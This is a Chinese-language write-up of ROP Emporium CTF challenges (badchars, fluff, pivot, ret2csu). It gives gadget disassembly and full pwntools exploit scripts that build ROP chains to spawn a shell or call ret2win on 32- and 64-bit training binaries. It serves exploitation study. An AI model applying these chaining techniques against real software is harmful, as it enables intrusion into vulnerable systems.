ROP Emporium 第二部分
badchars 不可以输入一些可见字符,但是存在异或相关的gadget
因此我们可以先和将/bin/sh\x00
与某个数异或后写入缓冲区,然后再通过gadget将其异或回来,最后达成利用
x86
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *''' 8048890: 30 0b xor %cl,(%ebx) 8048892: c3 ret 8048893: 89 37 mov %esi,(%edi) 8048895: c3 ret 8048896: 5b pop %ebx 8048897: 59 pop %ecx 8048898: c3 ret 8048899: 5e pop %esi 804889a: 5f pop %edi 804889b: c3 ret 804889c: 66 90 xchg %ax,%ax 804889e: 66 90 xchg %ax,%ax ''' context.log_level = 'debug' s = '/bin/sh\x00' xor_byte = 0x31 xor_binsh = '' for i in range(8 ): xor_binsh += chr(ord(s[i])^xor_byte) xor_binsh = xor_binsh.encode() data_addr = 0x804a038 xor_ptr_ebx_cl_ret = 0x8048890 mov_ptr_edi_esi_ret = 0x8048893 pop_ebx_ecx_ret = 0x8048896 pop_esi_edi_ret = 0x8048899 p = process('./badchars32' ) elf = ELF('./badchars32' ) system_addr = elf.symbols['system' ] payload = b'a' *44 payload += p32(pop_esi_edi_ret)+xor_binsh[0 :4 ]+p32(data_addr)+p32(mov_ptr_edi_esi_ret) payload += p32(pop_esi_edi_ret)+xor_binsh[4 :]+p32(data_addr+4 )+p32(mov_ptr_edi_esi_ret) for i in range(8 ): payload += p32(pop_ebx_ecx_ret)+p32(data_addr+i)+p32(xor_byte)+p32(xor_ptr_ebx_cl_ret) payload += p32(system_addr)+p32(0xdeafbeaf )+p32(data_addr) p.recvuntil('\n>' ) p.sendline(payload) p.interactive()
x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 ''' 0000000000400b30 <usefulGadgets>: 400b30: 45 30 37 xor %r14b,(%r15) 400b33: c3 retq 400b34: 4d 89 65 00 mov %r12,0x0(%r13) 400b38: c3 retq 400b39: 5f pop %rdi 400b3a: c3 retq 400b3b: 41 5c pop %r12 400b3d: 41 5d pop %r13 400b3f: c3 retq 400b40: 41 5e pop %r14 400b42: 41 5f pop %r15 400b44: c3 retq 400b45: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 400b4c: 00 00 00 400b4f: 90 nop ''' from pwn import *p = process('./badchars' ) elf = ELF('./badchars' ) system_addr = elf.symbols['system' ] data_addr = 0x601070 xor_ptr_r15_r14_ret = 0x400b30 mov_ptr_r13_r12_ret = 0x400b34 pop_rdi_ret = 0x400b39 pop_r12_r13_ret = 0x400b3b pop_r14_r15_ret = 0x400b40 binsh = '/bin/sh\x00' xor_byte = 0x44 xor_binsh = '' for i in range(8 ): xor_binsh+=chr(ord(binsh[i])^xor_byte) xor_binsh = xor_binsh.encode() payload = b'a' *40 payload += p64(pop_r12_r13_ret)+xor_binsh+p64(data_addr)+p64(mov_ptr_r13_r12_ret) for i in range(0 ,8 ): payload += p64(pop_r14_r15_ret)+p64(xor_byte)+p64(data_addr+i)+p64(xor_ptr_r15_r14_ret) payload += p64(pop_rdi_ret)+p64(data_addr)+p64(system_addr) p.recvuntil('>' ) p.sendline(payload) p.interactive()
fluff 无法一次性写入/bin/sh\x00
,所以我们利用gadget可以分次写入
x86
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 ''' 08048670 <questionableGadgets>: 8048670: 5f pop %edi 8048671: 31 d2 xor %edx,%edx 8048673: 5e pop %esi 8048674: bd be ba fe ca mov $0xcafebabe,%ebp 8048679: c3 ret 804867a: 5e pop %esi 804867b: 31 da xor %ebx,%edx 804867d: 5d pop %ebp 804867e: bf be ba ad de mov $0xdeadbabe,%edi 8048683: c3 ret 8048684: bf ef be ad de mov $0xdeadbeef,%edi 8048689: 87 ca xchg %ecx,%edx 804868b: 5d pop %ebp 804868c: ba d0 ce fa de mov $0xdefaced0,%edx 8048691: c3 ret 8048692: 5f pop %edi 8048693: 89 11 mov %edx,(%ecx) 8048695: 5d pop %ebp 8048696: 5b pop %ebx 8048697: 30 19 xor %bl,(%ecx) 8048699: c3 ret 804869a: 66 90 xchg %ax,%ax 804869c: 66 90 xchg %ax,%ax 804869e: 66 90 xchg %ax,%ax ''' from pwn import *context.log_level = 'debug' p = process('./fluff32' ) elf = ELF('./fluff32' ) system_addr = elf.symbols['system' ] data_addr = 0x804a028 mov_ptr_ecx_edx= 0x8048693 pop_ebx = 0x80483e1 xor_edx_edx = 0x8048671 xor_edx_ebx = 0x804867b xchg_edx_ecx = 0x8048689 binsh = b'/bin/sh\x00' def payload_write (data,addr) : payload = b'' payload += p32(xor_edx_edx)+p32(deadbeaf) payload += p32(pop_ebx) payload += p32(addr) payload += p32(xor_edx_ebx)+p32(deadbeaf) payload += p32(xchg_edx_ecx)+p32(deadbeaf) payload += p32(xor_edx_edx)+p32(deadbeaf) payload += p32(pop_ebx) payload += data payload += p32(xor_edx_ebx)+p32(deadbeaf) payload += p32(mov_ptr_ecx_edx)+p32(deadbeaf)+p32(0 ) return payload deadbeaf = 0xdeafbeaf payload = b'a' *44 payload += payload_write(binsh[0 :4 ],data_addr) payload += payload_write(binsh[4 :],data_addr+4 ) payload += p32(system_addr)+p32(deadbeaf)+p32(data_addr) p.recvuntil('>' ) p.sendline(payload) p.interactive()
x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 ''' 0000000000400820 <questionableGadgets>: 400820: 41 5f pop %r15 400822: 4d 31 db xor %r11,%r11 400825: 41 5e pop %r14 400827: bf 50 10 60 00 mov $0x601050,%edi 40082c: c3 retq 40082d: 41 5e pop %r14 40082f: 4d 31 e3 xor %r12,%r11 400832: 41 5c pop %r12 400834: 41 bd 60 40 60 00 mov $0x604060,%r13d 40083a: c3 retq 40083b: bf 50 10 60 00 mov $0x601050,%edi 400840: 4d 87 d3 xchg %r10,%r11 400843: 41 5f pop %r15 400845: 41 bb 50 20 60 00 mov $0x602050,%r11d 40084b: c3 retq 40084c: 41 5f pop %r15 40084e: 4d 89 1a mov %r11,(%r10) 400851: 41 5d pop %r13 400853: 41 5c pop %r12 400855: 45 30 22 xor %r12b,(%r10) 400858: c3 retq 400859: 0f 1f 80 00 00 00 00 nopl 0x0(%rax) ''' from pwn import *context.log_level = 'debug' p = process('./fluff' ) elf = ELF('./fluff' ) system_addr = elf.symbols['system' ] data_addr = 0x601050 xor_r11_r11 = 0x400822 xor_r11_r12 = 0x40082f xchg_r11_r10 = 0x400840 mov_ptr_r10_r11 = 0x40084e pop_r12 = 0x400832 deadbeaf = 0xdeadbeaf payload = b'a' *40 binsh = b'/bin/sh\x00' payload += p64(xor_r11_r11)+p64(deadbeaf) payload += p64(pop_r12) payload += p64(data_addr) payload += p64(xor_r11_r12)+p64(deadbeaf) payload += p64(xchg_r11_r10)+p64(deadbeaf) payload += p64(xor_r11_r11)+p64(deadbeaf) payload += p64(pop_r12) payload += binsh payload += p64(xor_r11_r12)+p64(deadbeaf) payload += p64(mov_ptr_r10_r11)+p64(deadbeaf)+p64(0 ) payload += p64(0x4008c3 )+p64(data_addr)+p64(system_addr) p.recvuntil('>' ) p.sendline(payload) p.interactive()
pivot 栈溢出长度太短,因此选择通过stack pivoting
达成利用
x86
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context.log_level = 'debug' ''' 080488c0 <usefulGadgets>: 80488c0: 58 pop %eax 80488c1: c3 ret 80488c2: 94 xchg %eax,%esp 80488c3: c3 ret 80488c4: 8b 00 mov (%eax),%eax 80488c6: c3 ret 80488c7: 01 d8 add %ebx,%eax 80488c9: c3 ret 80488ca: 66 90 xchg %ax,%ax 80488cc: 66 90 xchg %ax,%ax 80488ce: 66 90 xchg %ax,%ax ''' p = process('./pivot32' ) elf = ELF('./pivot32' ) libp = ELF('./libpivot32.so' ) foothold_function_plt = elf.plt['foothold_function' ] foothold_function_got = elf.got['foothold_function' ] foothold_function_addr = libp.symbols['foothold_function' ] ret2win_addr = libp.symbols['ret2win' ] offset = ret2win_addr - foothold_function_addr pop_eax= 0x80488c0 xchg_esp_eax = 0x80488c2 mov_ptr_eax_eax = 0x80488c4 add_eax_ebx = 0x80488c7 call_eax = 0x80486a3 pop_ebx=0x8048571 leave_ret = 0x80486a8 p.recvuntil('The Old Gods kindly bestow upon you a place to pivot: ' ) pivot_addr = int(p.recv(10 ),16 ) print(hex(pivot_addr)) payload = b'' payload += p32(foothold_function_plt) payload += p32(pop_eax) payload += p32(foothold_function_got) payload += p32(mov_ptr_eax_eax) payload += p32(pop_ebx) payload += p32(offset) payload += p32(add_eax_ebx) payload += p32(call_eax) p.sendline(payload) p.recv() payload = b'a' *40 payload += p32(pivot_addr-4 ) payload += p32(leave_ret) p.sendline(payload) p.interactive()
x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *context.log_level = 'debug' ''' 0000000000400ae2 <uselessFunction>: 400ae2: 55 push %rbp 400ae3: 48 89 e5 mov %rsp,%rbp 400ae6: b8 00 00 00 00 mov $0x0,%eax 400aeb: e8 60 fd ff ff callq 400850 <foothold_function@plt> 400af0: bf 01 00 00 00 mov $0x1,%edi 400af5: e8 86 fd ff ff callq 400880 <exit@plt> 400afa: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) 0000000000400b00 <usefulGadgets>: 400b00: 58 pop %rax 400b01: c3 retq 400b02: 48 94 xchg %rax,%rsp 400b04: c3 retq 400b05: 48 8b 00 mov (%rax),%rax 400b08: c3 retq 400b09: 48 01 e8 add %rbp,%rax 400b0c: c3 retq 400b0d: 0f 1f 00 nopl (%rax) ''' p = process('./pivot' ) elf = ELF('./pivot' ) libp = ELF('./libpivot.so' ) foothold_function_plt = elf.plt['foothold_function' ] foothold_function_got = elf.got['foothold_function' ] foothold_function_addr = libp.symbols['foothold_function' ] ret2win_addr = libp.symbols['ret2win' ] offset = ret2win_addr - foothold_function_addr pop_rax= 0x400b00 xchg_rsp_rax = 0x400b02 mov_ptr_rax_rax = 0x400b05 add_rax_rbp = 0x400b09 call_rax = 0x40098e pop_rbp=0x400900 leave_ret = 0x400ae0 p.recvuntil('The Old Gods kindly bestow upon you a place to pivot: ' ) pivot_addr = int(p.recv(14 ),16 ) print(hex(pivot_addr)) payload = b'' payload += p64(foothold_function_plt) payload += p64(pop_rax) payload += p64(foothold_function_got) payload += p64(mov_ptr_rax_rax) payload += p64(pop_rbp) payload += p64(offset) payload += p64(add_rax_rbp) payload += p64(call_rax) p.sendline(payload) p.recv() payload = b'a' *40 payload += p64(pop_rax) payload += p64(pivot_addr) payload += p64(xchg_rsp_rax) p.sendline(payload) p.interactive()
ret2csu ret2csu,原理参考ctf-wiki,中级ROP章节。
但是在pwnme函数中,将GOT表都置零了,所以需要先调用frame_init进行初始化
x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *''' 0xdeadcafebabebeef ''' ''' 400880: 4c 89 fa mov %r15,%rdx 400883: 4c 89 f6 mov %r14,%rsi 400886: 44 89 ef mov %r13d,%edi 400889: 41 ff 14 dc callq *(%r12,%rbx,8) 40088d: 48 83 c3 01 add $0x1,%rbx 400891: 48 39 dd cmp %rbx,%rbp 400894: 75 ea jne 400880 <__libc_csu_init+0x40> 400896: 48 83 c4 08 add $0x8,%rsp 40089a: 5b pop %rbx 40089b: 5d pop %rbp 40089c: 41 5c pop %r12 40089e: 41 5d pop %r13 4008a0: 41 5e pop %r14 4008a2: 41 5f pop %r15 4008a4: c3 retq ''' p = process('./ret2csu' ) rdx=0xdeadcafebabebeef init = 0x600E10 csu_1 = 0x400880 csu_2 = 0x40089a ret2win = 0x4007B1 payload = 0x20 *b'a' payload += p64(0 ) payload += p64(csu_2) payload += p64(0 ) payload += p64(1 ) payload += p64(init) payload += p64(0 ) payload += p64(0 ) payload += p64(rdx) payload += p64(csu_1) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(ret2win) p.sendline(payload) p.interactive()